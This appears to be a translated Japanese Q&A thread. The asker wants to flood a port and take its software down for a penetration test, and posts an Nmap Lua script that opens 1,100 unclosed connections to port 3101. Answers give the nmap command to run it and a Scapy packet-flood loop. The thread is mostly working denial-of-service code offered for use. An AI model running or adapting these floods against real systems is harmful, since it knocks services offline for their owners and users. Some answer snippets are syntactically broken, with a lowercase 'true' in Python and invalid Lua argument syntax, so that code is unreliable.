0

侵入テストを実行する必要があります。スクリプトまたはいくつかのスクリプトをまとめて攻撃し、フラッディングして特定のポート/ソフトウェアをダウンさせたいと考えています。NMAP がインストールされており、同僚からサンプル スクリプトが提供されています。スクリプトを説明して、ニーズに合わせて調整する方法を教えてくれる人はいませんか?

description = [[
Connects to ports without disconnecting
]]
author =""
license = 'Same as Nmap--See http://nmap.org/book/man-legal.html'
categories = {'auth', 'intrusive'}

require('shortport')
require('stdnse')
require('strbuf')
require('math')

local soc
local catch = function() soc:close() end
local try = nmap.new_try(catch)

--portrule = shortport.port_or_service({3000, 3001, 3002, 3003, 3004, 3005,3006,3007,3008,3009, 3010, 3011, 4008, 3110}, 'client server')
--portrule = shortport.port_or_service({3000-4008}, 'client server')
portrule = shortport.port_or_service({3101}, 'client server')

action = function(host, port)
    math.randomseed( os.time() )
    local buff = ""
    soc = nmap.new_socket()
        soc:set_timeout(400000000)
    for j = 1,1100 do
                print(j)
        try(soc:connect(host.ip, port.number, port.protocol))
        --soc:close()
    end
    --print(math.random(255))
    return ""
end
4

2 に答える 2

0

このスクリプトが最適な方法かどうかはわかりませんが、実行するには次のコマンドを使用する必要があります。

nmap -p 3101 --script your-script-name target

Nmap 以外のツールを使用すると、おそらくうまくいくでしょう。たとえば、Scapy を使用できます。

$ sudo scapy
>>> p = IP(dst="192.168.1.X") / TCP(dport=3101)
>>> while true:
...   p.sport = random.randint(1024,65535)
...   send(p)
于 2012-08-09T11:38:52.300 に答える
0

http://nmap.org/book/nse-api.html

設定してみるfunction(host='host url here', port='port number here')

于 2012-08-09T09:49:12.203 に答える